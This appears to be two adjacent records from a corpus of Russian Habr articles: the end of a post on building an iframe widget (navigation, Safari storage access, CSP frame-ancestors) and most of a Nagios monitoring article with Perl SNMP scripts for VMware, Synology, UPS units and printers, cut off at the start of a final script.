Этот код, хоть и очень прост, уже неплохо работает и решает ряд важных задач: обеспечивает вполне вразумительное API, асинхронную инициализацию, поддерживает ресайз контента внутри фрейма. Кажется, что все начинает получаться, пока мы не пробуем перейти по первой же внешней ссылке, например, в социальные медиа. Да, страница вашего сервиса ВКонтакте тоже откроется внутри фрейма. Похоже настало время перепридумать навигацию основного сервиса.
### Навигация
Ваш виджет должен поддерживать четыре типа переходов между страницами:
1. Настоящие ссылки, которые должны открываться внутри фрейма. Это самый простой кейс, просто используйте `target="self"`и все будет работать как надо
2. Настоящие ссылки, которые должны открываться в родительском окне, например, переходы в социальные сети. Это тоже просто, используйте для них `target="top"`.
3. Переходы, которые вы хотите выполнять через JavaScript внутри фрейма через изменение `window.location.href` или вызов `history.pushState`. Они должны работать нормально без доработок.
4. Самый сложный кейс - переходы, которые вы хотите выполнить через JavaScript в родительском окне. Единственный способ это сделать - вызов `window.postMessage`.
Проблема четвертого пункта еще и в том, что такое поведение нельзя сделать универсальным. Чтобы все работало правильно, на каждой странице вашего основного приложения вам нужно знать, выполняется ли оно внутри фрейма или независимо. Получить этот флаг в браузере довольно просто:
```
const isInFrame = window !== window.parent;
```
Если ваше приложение работает только в браузере, это все, что вам потребуется. Однако если вы используете, например, серверный рендеринг, задача сильно усложняется. Невозможно по HTTP-запросу понять, посылается ли он изнутри iframe или родительским окном, нет никаких специальных заголовком, браузер никак на это не указывает. Единственный способ - использовать для встраивания отделыные урлы, тут тоже есть несколько вариантов:
1. Завязаться на квери-параметры, например, подклеивать `?inFrame=1` ко всем ссылкам приложения, когда оно используется во фрейме
2. Использовать отдельный субдомен, например, `framed.my-application.ru`. Это более правильный путь, потому что он меньше затрагивает логику приложения и его проще поддерживать. Главное тут [всегда явно указывать домен](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#define_where_cookies_are_sent) при выставлении пользовательских кук и не забывать про **ограничения в local/session storage**, данные оттуда не будут шариться между субдоменами.
> [@pae174](/users/pae174) в комментариях справедливо указывает, что на *самом деле* браузеры посылают [Sec-Fetch-Dest](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Dest) заголовок, который, хоть и [не кроссбраузерно](https://caniuse.com/?search=SEC-FETCH-DEST), но однозначно позволяет определить, что ваши страницы запрашивают изнутри фрейма.
>
>
Возможность проверить режим отображения на каждой странице приложения открывает новые возможности. Например, вы можете спрятать шапку или футер во фрейме или изменить контактную информацию, чтобы ваша служба поддержки знала, что имеет дело с пользователем виджета.
Наконец приложение работает внутри и вне фрейма, оно адаптивно, в нем можно использовать все виды ссылок. Функционирует даже авторизация, куки прокидываются из родительского окна в виджет, работающий во фрейме. Ну то есть почти прокидываются. Ну то есть совсем не прокидываются в Safari.
### Авторизация
Причина, по которой авторизация не будет работать в Safari - [политика блокировки сторонних кук](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/). Safari не передаст куки в кросс-доменные фреймы, а это значит что ваш виджет в Safari не получит доступ ни к одной из кук, установленных для вашего домена. И это политика не только Safari, а всего движка [Webkit](https://en.wikipedia.org/wiki/WebKit).
Поверьте, я перепробовал множество способов обойти это ограничение, но единственный рабочий вариант здесь - подчиниться требованиям, то есть использовать [Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/). Вам необходимо *запросить* у пользователя доступ к данным, хранящимся в браузере, причем сделать это можно только после пользовательского взаимодействия с вашим сервисом, например, после клика.
Самый простой способ выглядит следующим образом:
1. Если при загрузке приложения пользователь не авторизован - выполните проверку наличия доступа к данным пользователя: `document.hasStorageAccess()`
2. Если полученный промис зарезолвится в `false` - покажите пользователю страницу с объяснением, что такое storage access, о чем конкретно вы просите и какие данные получите
3. После получения доступа через вызов `document.requestStorageAccess()`, продолжите стандартный процесс авторизации
4. Storage access будет выдан на весь ориджин, после чего `document.hasStorageAccess()` будет резолвится в `true`. Период, на который выдается доступ может, отличатся в зависимости от браузера, да и весь API может в будущем претерпеть изменения, это все еще [драфт](https://privacycg.github.io/storage-access/).
Очень упрощенно в коде это можно записать следующим образом:
```
const checkStorageAccess = async (): Promise => {
if (document.hasStorageAccess) {
return document.hasStorageAccess();
}
return true;
}
const requestStorageAccess = async () => {
const hasStorageAccess = await checkStorageAccess();
if (hasStorageAccess) {
proceedToAuthorization();
return;
}
return document.requestStorageAccess()
.then(() => {
proceedToAuthorization();
})
.catch(() => {
proceedToErrorPage()
})
}
document
.querySelector('.grant-access-button')
.addEventListener('click', requestStorageAccess);
```
Еще один важный шаг позади - в виджете заработала авторизация. Осталось подумать о безопасности.
### Безопасность
С точки зрения безопасности главное для вас - контролировать страницы, которые имеют возможность встраивать ваш виджет. Для этого в заголовке `Content-Security-Policy` предназначена директива `frame-ancestors`. Я советую сделать следующее:
1. Обозначайте всех своих потребителей уникальными идентификаторами, вроде `consumerId`, привязывайте список разрешенных доменов к этому `consumerId` и генерируйте для каждого из них уникальную директиву `frame-ancestors`.
2. Используйте для всех доменов в директиве `frame-anсestors` только `https://`
3. Проверяйте `event.origin` для всех событий `message`
4. Для хранения авторизационных данных используйте исключительно куки с флагами `Secure` и `HttpOnly`
5. Я бы не советовал устанавливать для фрейма какое-либо значение атрибута `sandbox`
---
Описанные здесь шаги - самое основное, что необходимо сделать для создания отзывчивого, безопасного и функционально виджета поверх вашего основного приложения. Они не требуют переписывать основное приложение или поддерживать его урезанную версию, что делает их относительно дешевыми.
Решения части проблем, таких, как открытие попапов или программный скролл страниц, я намеренно оставил за скобками, потому что они сводятся к уже описанным подходам.
Последняя рекомендация тем, кто пойдёт по этому пути - сделайте тестирование виджета отдельной частью e2e-пайплайна, активно использовать для тестирования виджета скриншот-тесты и не забывайте проверять любой новый функционал и в виджете тоже. Главное ограничение этого решения содержится в исходной постановке задачи - вы не сможете деплоить основное приложение и виджет отдельно. | https://habr.com/ru/post/694592/ | null | ru | null |
# Nagios — мониторинг vmware, CMC-TC, Synology, ИБП, принтеров и совсем немного Cisco
Первая часть была тут: [Nagios — система мониторинга и некоторые самодельные плагины](https://habrahabr.ru/post/307832/). Как и обещал, часть вторая, интереснее.
Здесь я расскажу, как и что можно в nagios мониторить в vmware, CMC-TC, Synology, ИБП (APC и Chloride), принтерах и о мониторинге интерфейсов в Cisco по именам и зачем это нужно.
### Nagios и VMWARE
У нас стоят кластеры vmware из vSphere 5.1, лицензионные, с техподдержкой. Хотя техподдержка vmware — это отдельно и не к ночи. По snmp там можно мониторить стандартную ветку [HOST-RESOURCES-V2-MIB (oid 1.3.6.1.2.1.25)](http://www.oidview.com/mibs/0/HOST-RESOURCES-V2-MIB.html), там как обычно много интересного, память, процессора, сеть. Насчет сети есть оговорка — версии vSphere (подозреваю, что и iESX) до какого-то билда имеют косяк, который состоит в том, что 64-битные счетчики трафика работают для исходящего трафика и возвращают 0 для входящего. Потом vmware это пофиксила, но если у вас вдруг при мониторинге сетевого трафика исходящий есть, а входящего нет — это оно самое, не пугайтесь, надо поднимать версию.
Системы хранения (а как легко догадаться, у кластера они внешние и могут отпадать) тоже доступны в 25 ветке (oid 1.3.6.1.2.1.25.2) за одной оговоркой — vSphere нигде и никак не возвращает имена подключенных дисков. То есть в hrDeviceDescr видим название и номер lun (LUN HP HSV300 0953 naa.50014380025cf510), а в точке монтирования что-то типа /vmfs/volumes/4e343177-a470f8bb-4e25-04257f664f9e, partiton label тоже крайне информативен (naa.600508b1001c1bc8b9036a0d8b117c88:1).
А админам даже vmware важно видеть имя диска, а не его шифр. Поэтому пришлось колхозить свой скрипт, который бы мониторил диски на vmware и описывал их в терминах, понятным окружающим.
**check\_vmwarediskstatus.pl**
```
#!/usr/local/bin/perl
#
# (C) Smithson Inc
#
#
#use strict;
use lib "/usr/local/libexec/nagios";
use utils qw($TIMEOUT %ERRORS &print_revision &support);
use vars qw($PROGNAME);
use Getopt::Long;
use Time::gmtime;
use vars qw($opt_V $opt_h $verbose $opt_w $opt_c $opt_H);
$PROGNAME = `basename $0`;
my $warning = 90;
my $critical = 95;
my $community = 'public';
my $MAX = 16;
Getopt::Long::Configure('bundling');
GetOptions
(
"w=s" => \$opt_w, "warning=s" => \$opt_w,
"c=s" => \$opt_c, "critical=s" => \$opt_c,
"H=s" => \$opt_H, "hostname=s" => \$opt_H);
$opt_H = shift unless ($opt_H);
my $host = $1 if ($opt_H =~ m/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+|[a-zA-Z][-a-zA-Z0]+(\.[a-zA-Z][-a-zA-Z0]+)*)$/);
if (!(defined($host))) { print_usage(); exit $ERRORS{'UNKNOWN'}; };
my $server = $host;
($opt_c) || ($opt_c = shift) || ($opt_c = 95);
$critical = $1 if ($opt_c =~ /([0-9]+)/);
($opt_w) || ($opt_w = shift) || ($opt_w = 90);
$warning = $1 if ($opt_w =~ /([0-9]+)/);
$RETURN_CODE = $ERRORS{'UNKNOWN'};
$SNMP = "/usr/local/bin/snmpwalk -v2c -c $community";
$OID_SYSNAME = '1.3.6.1.2.1.1.5.0';
$OID_STORAGE = '1.3.6.1.2.1.25.2';
my $s = getStorageState($server);
my $code = 'UNKNOWN';
if ($RETURN_CODE == $ERRORS{'OK'}) { $code = 'OK '; }
if ($RETURN_CODE == $ERRORS{'WARNING'}) { $code = 'WARNING '; }
if ($RETURN_CODE == $ERRORS{'CRITICAL'}) { $code = 'CRITICAL '; }
print "$code - $s \n";
exit $RETURN_CODE;
# ================================================================
sub getStorageState {
my $ip = shift;
my $ret = '';
my $i;
my @size, @used, @name= ();
for ($i = 0; $i<$MAX+1; $i++) { $size[$i] = 0; }
my @s = getSNMPdata($ip, $OID_STORAGE);
if ($#s == 0) { return ''; }
$RETURN_CODE = $ERRORS{'OK'};
foreach $q (@s) {
chomp($q);
if ($q =~ /hrStorageSize\.(\d+) = INTEGER: (\d+)/) {
$size[$1] = $2;
}
if ($q =~ /hrStorageUsed\.(\d+) = INTEGER: (\d+)/) {
$used[$1] = $2;
}
if ($q =~ /hrStorageDescr\.(\d+) = STRING: \/vmfs\/volumes\/(.+)/) {
$name[$1] = getdatastoragename($2);
}
if ($q =~ /hrStorageAllocationFailures\.(\d+) = Counter32: (\d+)/) {
if ($2 != 0) {
$ret = $ret."\# $1 failure! (code $2) ";
$RETURN_CODE = $ERRORS{'CRITICAL'};
}
}
};
for ($i = 0; $i<$MAX+1; $i++) {
if ($size[$i] > 0) {
my $p = (100*$used[$i])/$size[$i];
my $sp = sprintf("%0.2f", $p);
if (length($ret) > 1) { $ret = $ret.", "; }
$ret = $ret."$name[$i]=$sp\%";
if (($p > $warning) && ($RETURN_CODE == $ERRORS{'OK'})) { $RETURN_CODE = $ERRORS{'WARNING'}; }
if ($p > $critical) { $RETURN_CODE = $ERRORS{'CRITICAL'}; }
};
}
return $ret;
}
# ================================================================
sub getSNMPdata {
my $ip = shift;
my $snmpquery = shift;
my $q, @dat;
$q = "$SNMP $ip $snmpquery";
@dat = `$q`;
return @dat;
}
# ================================================================
sub getSNMPstring {
my $ip = shift;
my $snmpquery = shift;
my $q, $dat;
$q = "$SNMP $ip $snmpquery";
$dat = `$q`;
chomp $dat;
if (length($dat) < 1) {
return '';
}
if ($dat =~ /= STRING:\ (.+)/) { $dat = $1 };
return $dat;
}
# ================================================================
sub getdatastoragename () {
my $id = shift;
my $ret = '?';
my %names = (
'4b4468fe-c310d5c8-e0ee-002481e8ae94' => 'EVA2Tb',
'4f3b9661-776069e9-5002-78e7d158f891' => 'EVA360Gb',
'54f5b0bc-97f70749-e088-f0921c1099b0' => 'NN1.5Tb',
'52e8d119-309fe1b1-10fb-d89d676e0ce0' => 'EVA2TB_2',
'55c07bc8-6365350e-c56b-3c4a92e5f7f4' => '0CLONE',
);
foreach $key (keys %names) {
if ($id eq $key) { return $names{$key}; };
};
return $ret;
}
# ================================================================
sub print_usage () {
print "Usage: $PROGNAME -H [-w ] [-c ] \n";
}
# ================================================================
sub print\_help () {
print\_revision($PROGNAME,'');
print "Copyright (c) Smithson Inc, 2012\n";
print "\n";
print\_usage();
print "\n";
print " = Signal strength at which a warning message will be generated.\n";
print " = Signal strength at which a critical message will be generated.\n";
support();
};
# ================================================================
```
Магия кроется в строчке
```
my %names = (
'4b4468fe-c310d5c8-e0ee-002481e8ae94' => 'EVA2Tb',
'4f3b9661-776069e9-5002-78e7d158f891' => 'EVA360Gb',
'54f5b0bc-97f70749-e088-f0921c1099b0' => 'NN1.5Tb',
'52e8d119-309fe1b1-10fb-d89d676e0ce0' => 'EVA2TB_2',
'55c07bc8-6365350e-c56b-3c4a92e5f7f4' => '0CLONE',
);
```
её приходится править каждый раз, когда добавляется новый диск к серверам. За четыре года — аж два раза.
Как ни загадочно это покажется, но на разных vSphere-серверах, стоящих в разных кластерах, эти коды одинаковые для одного и того же диска.
Имена и шифры локальных дисков у всех серверов разные, но в нашем случае они нам не интересны, локально у нас лежат только тестовые проекты, поэтому переполнение локального хранилища нас по большому счету не волнует. Но если вам важно — то можете сюда добавить соответствия шифров и имен для локальных datastore.
Еще специфично для vmware — это информация по виртуальным машинам. Она кроется за [OID 1.3.6.1.4.1.6876](http://www.oidview.com/mibs/6876/VMWARE-VMINFO-MIB.html)
```
Информация по ОЗУ 1.3.6.1.4.1.6876.2.1.1.5
Информация по виртуальным машинам 1.3.6.1.4.1.6876.2.1.1.6
Информация по CPU 1.3.6.1.4.1.6876.3.1.1
```
Этот скрипт загоняет данные в rrdtool-базу, поскольку у нас нет необходимости реагировать на изменение нагрузки ОЗУ или число виртуальных машин. Но на его основе можно сделать и плагин для nagios.
**check\_vmwaregetstatus.pl**
```
#!/usr/local/bin/perl
#
# (C) by Smithson Inc, 2013
#
require "srv.list";
my $RRD = '/usr/local/bin/rrdtool';
my $EMPTY = ":U:U:U:U:U:U:U:U:U:U";
my @DATA = (), @VM = ();
my $OID_VMWARE = '1.3.6.1.4.1.6876';
my $OID_IF_OUT = '.1.3.6.1.2.1.31.1.1.1.6';
my $OID_IF_IN = '.1.3.6.1.2.1.31.1.1.1.10';
##my $OID_IF_IN = '.1.3.6.1.2.1.2.2.1.16';
my $SNMP = '/usr/local/bin/snmpwalk -v2c -c нескажу';
my $AWK = '/usr/bin/awk';
my $FILENAME='vmware.snmpdata';
my $MEMORY_MASK = '.6876.2.1.1.5.';
my $CORES_MASK = '.6876.2.1.1.9.';
my $MEMSIZE_MASK = '.6876.3.2.1';
my $CPUCOUNT_MASK = '.6876.3.1.1';
my $POWERED_MASK = '.6876.2.1.1.6.';
my $i;
foreach $i (sort keys %servers) {
my $traf= getIFinfo($i);
my $t = getVMinfo($i);
$t='N'.$traf.':'.$t.$EMPTY;
my $rrd = "$RRD update $DBPATH/$i.rrd $t";
system("$rrd") && print "ERROR update '$DBPATH/$i.rrd': $!\n";
}
# ================================================================
sub searchinfo { # Search info by MASK
my $mask = shift;
my $i, @ret = (), $r = 0;
my $c = @DATA+1;
for ($i = 0; $i < $c; $i++) {
if ($DATA[$i] =~ /$mask(.+)\s*=\s*([a-zA-Z0-9]+)\:\s+(.+)$/) {
$ret[$r] = $3;
$r++;
}
}
return @ret;
}
# ================================================================
sub IsVMrun { # Return 0 if VM is Off or 1 is VM is On
my $id = shift; # VM id
my $r = 0;
for ($i = 0; $i < @VM; $i++) {
if ($id == $VM[$i]) { $r = 1; last; }
}
return $r;
}
# ================================================================
sub memoryinfo { # Return 2 values - Memory Allocated All & Memory Allocated on run VMs
my $mask = $MEMORY_MASK;
my $i, $all = 0, $used = 0;
my $c = @DATA+1;
for ($i = 0; $i < $c; $i++) {
if ($DATA[$i] =~ /$mask(.+)\s*=\s*([a-zA-Z0-9]+)\:\s+(.+)$/) {
$all = $all + $3;
if (IsVMrun($1) == 1) { $used = $used + $3; }
}
}
$all = $all*1000*1000;
$used = $used*1000*1000;
return ($all, $used);
}
# ================================================================
sub coresinfo { # Return 2 values - Cores Total Allocated & Cores Allocated on run VMs
my $mask = $CORES_MASK;
my $i, $all = 0, $used = 0;
my $c = @DATA+1;
for ($i = 0; $i < $c; $i++) {
if ($DATA[$i] =~ /$mask(.+)\s*=\s*([a-zA-Z0-9]+)\:\s+(.+)$/) {
$all = $all + $3;
if (IsVMrun($1) == 1) { $used = $used + $3; }
}
}
return ($all, $used);
}
# ================================================================
sub getVMinfo {
my $ip = shift;
my $ret, $s, $count = 0;
my $q = "$SNMP $ip $OID_VMWARE >$FILENAME.$ip";
`$q`;
$#DATA = -1;
open(F, "<$FILENAME.$ip");
while (defined($s= )) {
chomp $s;
push @DATA, $s;
}
close F;
unlink("$FILENAME.$ip");
($count, $oncount) = countVM();
my ($memall, $memused) = memoryinfo();
my ($corecount, $coreused) = coresinfo();
my ($memsize) = searchinfo($MEMSIZE\_MASK);
$memsize = ($memsize/1024)\*1000000;
my ($cpucount) = searchinfo($CPUCOUNT\_MASK);
$ret = "$count:$corecount:$cpucount:$servers{$ip}:U:U:U:U:$memsize:$memused:$oncount:$memall:$coreused";
return $ret;
}
# ================================================================
sub countVM { # Return 2 values - VMcount & VMUpCount; filled the @VM array by indexs of UP VMs.
my $r = 0, $up = 0, $i, $c = @DATA+1;
@VM = ();
for ($i = 0; $i < $c; $i++) {
if ($DATA[$i] =~ /$POWERED\_MASK(.+)\s\*=\s\*([a-zA-Z0-9]+)\:\s+\"(powered.+)\"/) {
$r++;
my $f1 = $1, $f2 = $2, $f3 = $3;
if ($f3 =~ /on/i) {
$up++;
push @VM, $f1;
}
}
}
return ($r, $up);
};
# ================================================================
sub getIFinfo {
my $ip = shift;
my $i, $c = 0;
my $q, $ret = "";
for ($i = 1; $i < 5; $i++) {
$q = $SNMP." $ip $OID\_IF\_IN\.$i | $AWK \'\{print \$4\}\'";
my $s = `$q`;
chomp $s;
if ($s =~ /^(\d+)$/) {
$ret=$ret.":$s";
$c++;
}
};
for ( ; $c < 4; $c++ ) {
$ret = $ret.':U';
}
for ($i = 1; $i < 5; $i++) {
$q = $SNMP." $ip $OID\_IF\_OUT\.$i | $AWK \'\{print \$4\}\'";
my $s = `$q`;
chomp $s;
if ($s =~ /^(\d+)$/) {
$ret=$ret.":$s";
$c++;
}
};
for ( ; $c < 8; $c++ ) {
$ret = $ret.':U';
}
return $ret;
}
```
**srv.lst**
```
%servers = (
'10.11.1.11' => 40,'10.11.1.12' => 40,'10.11.1.14' => 40,'10.11.1.15' => 40,
'10.11.1.8' => 32,'10.11.1.9' => 32,'10.11.1.7' => 32,
'10.11.1.3' => 24,'10.11.1.6' => 24
);
$targetdir = '/data//rrdtool/www/vmware';
$DBPATH = '/data/rrdtool/vmware/data';
@periodlist = ('10h', '2d', '10d', '30d', '1y', '3y');
```
Значения хеша — это максимальное число процессоров (ядер) на данном сервере. Мне было проще сделать так, чем вычислять это число каждый раз на основе подсчета строк ProcessorLoad или CPU Pkg/ID/Node. Число процессоров у сервера меняется ОЧЕНЬ редко :)
srv.lst — это такой общий файлик, который атачится как к скрипту мониторинга, так и к скрипту генерации html-страниц и скрипту рисования.
Теперь поговорим о **Rittal CMC-TC**.
[Rittal CMC-TС](http://pns.by/products/brand/rittal/cmc/) — это разработка компании rittal для мониторинга условий среды — температуры, влажности и силы воздушного потока. Правда, датчики воздушного потока там уродские, они возвращают не скорость «ветра», а 0 — нет потока и 1 — есть поток. Причем регулируются они аналогово, штыковой отверткой крутишь вернер датчика и таким образом устанавливаешь порог срабатывания между «ветер есть» и «ветра нет». Но песня не о том.
Сама система состоит из процессорного модуля PU, к которому можно подключить до 4 (гнезда так и пронумерованы — 1, 2, 3 и 4) хабов датчиков. К каждому хабу можно подключить до 4 датчиков.
Дальше вступает в силу малопостижимая логика. Мониторинг по snmp возможен (snmp настраивается в настройках сети) и скрывается за [OID .1.3.6.1.4.1.2606.4.2](http://www.oidview.com/mibs/2606/RITTAL-CMC-TC-MIB.html). Первый подключенный хаб датчиков имеет номер 3, второй — 4, третий — 5 и четвертый — 6. Все логично, не так ли? Датчики на хабе в свою очередь нумеруются 1, 2, 3 и 4, что наводит на мысль, что эти два устройства программировали разные малознакомые люди. И между номером датчика и номером хаба еще 4(!) ветки OID.
Еще раз:
.1.3.6.1.4.1.2606.4.2.**3**.5.2.1.5.**1** — это показания первого датчика первого хаба.
.1.3.6.1.4.1.2606.4.2.**6**.5.2.1.5.**4** — это показания четвертого датчика четвертого хаба.
И не спрашивайте меня, почему так :)
**Теперь о мониторинге**
```
define command {
command_name check_snmp_oid
command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -C $ARG2$ -w $ARG3$ -c $ARG4$ -u $ARG5$ -l ""
}
define service{
name temperature-service
use generic-service
register 0
contact_groups conditions
notification_options c,r
}
define service{
use temperature-service
host_name CMC-02
service_description Temperature Floor 12 point 1
check_command check_snmp_oid!.1.3.6.1.4.1.2606.4.2.5.5.2.1.5.3!секрет!20!31!C
}
```
Как вы легко теперь угадаете, это опрос третьего датчика на третьем же хабе на процессорном модуле СМС-2. И судя по «С» — это температура :)
Где и как вы расположите датчики — дело ваше, не забудьте только нарисовать карту, она пригодится.
### Nagios и Synology
.
У Synology есть отличные полубытовые сетевые дисковые хранилища, которые мы используем для резервного бакапа (набрать 40 Тб на synology стоит около 300 000 рублей, а на HP EVA или HP 3PAR — и трех миллионов может не хватить). Поэтому synology у нас много, дисков в них тоже не мало и за всем этим надо следить. А вы как хотели?
Внутри у Synology обычный linux (работает ssh, можно ставить пакеты, например, rrdtool или mc, работает rsync) и отвечает на snmp-запросы о 25 ветке ([OID 1.3.6.1.2.1.25](http://www.oidview.com/mibs/0/HOST-RESOURCES-V2-MIB.html)).
Дополнительно у него можно узнать состояние дисков и их температуру.
**get-synologydisks.pl**
```
#!/usr/local/bin/perl
#
# (C) Smithson Inc
#
#
#use strict;
use lib "/usr/local/libexec/nagios";
use utils qw($TIMEOUT %ERRORS &print_revision &support);
use vars qw($PROGNAME);
use Getopt::Long;
use Time::gmtime;
use vars qw($opt_V $opt_h $verbose $opt_w $opt_c $opt_H $volname $opt_mode $mode);
$PROGNAME = `basename $0`;
Getopt::Long::Configure('bundling');
GetOptions
("V" => \$opt_V, "version" => \$opt_V,
"h" => \$opt_h, "help" => \$opt_h,
"m=s" => \$opt_mode, "mode=s" => \$opt_mode,
"w=s" => \$opt_w, "warning=s" => \$opt_w,
"c=s" => \$opt_c, "critical=s" => \$opt_c,
"H=s" => \$opt_H, "hostname=s" => \$opt_H);
if ($opt_V) {
print_revision($PROGNAME,''); #'
exit $ERRORS{'OK'};
}
if ($opt_h) {
print_help();
exit $ERRORS{'OK'};
}
$opt_H = shift unless ($opt_H);
my $host = $1 if ($opt_H =~ m/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+|[a-zA-Z][-a-zA-Z0]+(\.[a-zA-Z][-a-zA-Z0]+)*)$/);
if (!(defined($host))) { print_help(); exit $ERRORS{'ERROR'}; };
($opt_c) || ($opt_c = shift) || ($opt_c = 4);
my $critical = $1 if ($opt_c =~ /([0-9]+)/);
($opt_w) || ($opt_w = shift) || ($opt_w = 3);
my $warning = $1 if ($opt_w =~ /([0-9]+)/);
#
# $mode == 0 - get temperature
# $mode == 1 - get disk status
#
my $mode = 0;
($opt_mode) || ($opt_mode = shift) || ($opt_mode = 'temp');
if ($opt_mode =~ /status/i) { $mode = 1; }
$code = $ERRORS{'OK'};
my $community = 'public';
my $snmpwalk = "/usr/local/bin/snmpwalk -v 2c -c $community -t 15";
my $OID_DISKSTAT = '.1.3.6.1.4.1.6574.2.1.1.5';
my $OID_DISKTEMP = '.1.3.6.1.4.1.6574.2.1.1.6';
my $n = '';
if ($mode == 0) { # get temp
$n = $OID_DISKTEMP;
}
if ($mode == 1) { # get status
$n = $OID_DISKSTAT;
}
$n = getsyn($host, $n);
print "Results: $n\n";
exit ($code);
# ================================================================
sub getsyn {
my $ip = shift, $s, $ret;
my $OID = shift;
my @D = getSNMPwalk($ip, $OID);
foreach $s (@D) {
if ($s eq 'U') { exit $ERRORS{'ERROR'}; };
if (length($ret) > 0) { $ret = $ret.", "; }
if ($s =~ /\= INTEGER\: (\d+)/) {
$ret = $ret."$1";
if ($1 >= $critical) { $code = $ERRORS{'CRITICAL'}; }
if ($code != $ERRORS{'CRITICAL'} && $1 >= $warning) { $code = $ERRORS{'WARNING'}; }
}
}
return $ret;
}
# ================================================================
sub getSNMPwalk {
my $ip = shift;
my $snmpquery = shift;
my $q, @dat;
$q = "$snmpwalk $ip $snmpquery";
@dat = `$q`;
if ($#dat < 1) {
return ('U');
}
return @dat;
}
# ================================================================
sub print_usage () {
print "Usage: $PROGNAME -H [-v ] [-w ] [-c ] [-m ]\n";
}
# ================================================================
sub print\_help () {
print\_revision($PROGNAME,'');
print "Copyright (c) Smithson Inc, 2011\n";
print "\n";
print\_usage();
print "\n";
print " = Signal strength at which a warning message will be generated.\n";
print " = Signal strength at which a critical message will be generated.\n";
print " = temp or status. Default is temp.\n\t Temp return temperature of disks\n\t Status return disks status in RAID. Correct status is 1";\n";
};
# ================================================================
```
с параметром mode=temp (по умолчанию) возвращает температуру всех дисков, с параметром mode=status — состояние дисков в RAID. 1 Normal, 2 Initialized, 3 Not Initialized, 4 System Partition Failed, 5 Crashed. Соответсвенно 1 — нормально, 2 — warning, всё прочее — critical.
Для опроса synology, у которых много дисков, надо увеличивать timeout (здесь стоит 15 секунд), иначе она не успевает ответить.
### Nagios и ИБП
У нас стоят бесперебойники двух производителей — APC и Chloride. Начнём с **APC**. Специфичная для этих ИБП информация скрывается за [OID .1.3.6.1.4.1.318](http://www.oidview.com/mibs/318/PowerNet-MIB.html). Что можно извлечь? Много — ttl (сколько еще протянет ups при текущей нагрузке, если прямо сейчас отнять у него электричество), работает ups от батарей или нет, надо ли менять батареи, какая температура внутри ящика, входной-выходной вольтаж, уровень заряда.
**мониторинг APC**
```
define service{
name ups-service
active_checks_enabled 1
passive_checks_enabled 1
parallelize_check 1
obsess_over_service 1
check_freshness 0
notifications_enabled 1
event_handler_enabled 1
flap_detection_enabled 1
failure_prediction_enabled 1
process_perf_data 1
retain_status_information 1
retain_nonstatus_information 1
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
notification_options c,r
notification_interval 120
notification_period 24x7
register 0
contact_groups admins,power-admins
}
#APC Battery needs replacement
define service{
use ups-service
hostgroup_name APC-smart
service_description APC Battery needs replacement
check_command check_snmp!-o .1.3.6.1.4.1.318.1.1.1.2.2.4.0 -C XXXX -c 2
notification_period workhours
}
#APC status
define service{
use ups-service
hostgroup_name APC-smart
service_description APC status
check_command check_snmp!-o .1.3.6.1.4.1.318.1.1.1.4.1.1.0 -C XXXX -c 2
contact_groups smsgroup,power-admins
}
#APC Battery temperature
define service{
use ups-service
hostgroup_name APC-smart
service_description APC Battery temperature
check_command check_snmp!-o .1.3.6.1.4.1.318.1.1.1.2.2.2.0 -C XXXX -w 38 -c 45 -u C
contact_groups smsgroup,power-admins
notification_period workhours
}
# APC worktime 100 ticks * 60 sec
define service{
use ups-service
hostgroup_name APC-smart
service_description APC WorkTime
check_command check_snmp!-o .1.3.6.1.4.1.318.1.1.1.2.2.3.0 -C XXXX -w 120000: -c 18000: -u sec*100
contact_groups power-admins
notification_period workhours
}
```
ttl APC возвращает в 1/100 секунды (ну удобно ему так) и для получения минут его надо делить на 6000. Думаю, такой скрипт в одну строчку сможете сочинить и сами.
Из **Chloride** извлечь можно меньше. Ttl, температуру, состояние (батареи или электросеть), входной-выходной вольтаж, уровень заряда. Отвечает он на стандартный [OID для UPS ( 1.3.6.1.2.1.33)](http://www.oidview.com/mibs/0/UPS-MIB.html).
**nagios+chloride**
```
define service{
use ups-service
host_name UPS1, UPS2
service_description Chloride temperature
check_command check_snmp!-o 1.3.6.1.2.1.33.1.2.7.0 -C public -w 38 -c 45 -u C
contact_groups smsgroup,power-admins
}
define service{
use ups-service
host_name UPS1, UPS2
service_description Chloride WorkTime
check_command check_snmp!-o 1.3.6.1.2.1.33.1.2.3.0 -C public -w 23: -c 11: -u min
contact_groups smsgroup,power-admins
}
```
Зато время работы (ttl) он возвращает в минутах, а не в сотых секунды, как APC!
Кроме того, поскольку chloride «кластерные» ИБП (обученные работать на одну нагрузку вдвоём), то у них еще можно получать информацию по фазам входного и выходного сигнала. Толку от этого, правда, мало.
Поскольку с UPS шутки плохи, то информация о неполадках в них дублируется на sms нескольким особо везучим сотрудникам.
### Принтеры
Сразу скажу, nagios у меня сами принтеры не мониторит. Мы мониторим очереди iPrint, это удобнее. Но для удобства учёта и предсказания расхода картриджей у нас висит скрипт, который рисует в rrdtool графики расхода картриджей и бумаги. Можно за определенный период понять, пользуются принтером или нет (300 листов за год — можно снимать :)), как расходуются картриджи, какие там картриджи и т.д.
**printers\_get\_snmp.pl**
```
#!/usr/bin/perl
#
# (C) Smithson Inc, 2008
#
require "prn.list";
$RRD = '/usr/local/bin/rrdtool';
$DBNAME = '/data/rrdtool/printers/prn-pagecount.rrd';
$AWK = '/usr/bin/awk';
@DATA = ();
for ($i=1; $i < 255; $i++) {
$DATA{$i} = 'U';
}
foreach $i (@usedip) {
$DATA{$i} = getPageCount($i);
}
$s = 'N';
for ($i=1; $i < 255; $i++) {
$s = $s.":$DATA{$i}";
}
$rrd = "$RRD update $DBNAME $s";
#print "$rrd \n";
system("$rrd") && print "ERROR update '$DBNAME': $!\n";
sub getPageCount {
my $ip = shift;
#print "$ip\n";
$q = "/usr/local/bin/snmpget -v1 -c public 192.168.0.$ip 1.3.6.1.2.1.43.10.2.1.4.1.1 | $AWK \'\{print \$4\}\'";
$dat = `$q`;
chomp $dat;
if ($dat =~ /[A-z]/) { $dat = 'U' };
if (length($dat) < 1) { $dat = 'U' };
return $dat
}
```
**toners\_get\_snmp.pl**
```
#!/usr/bin/perl
#
# (C) Smithson Inc, 2008
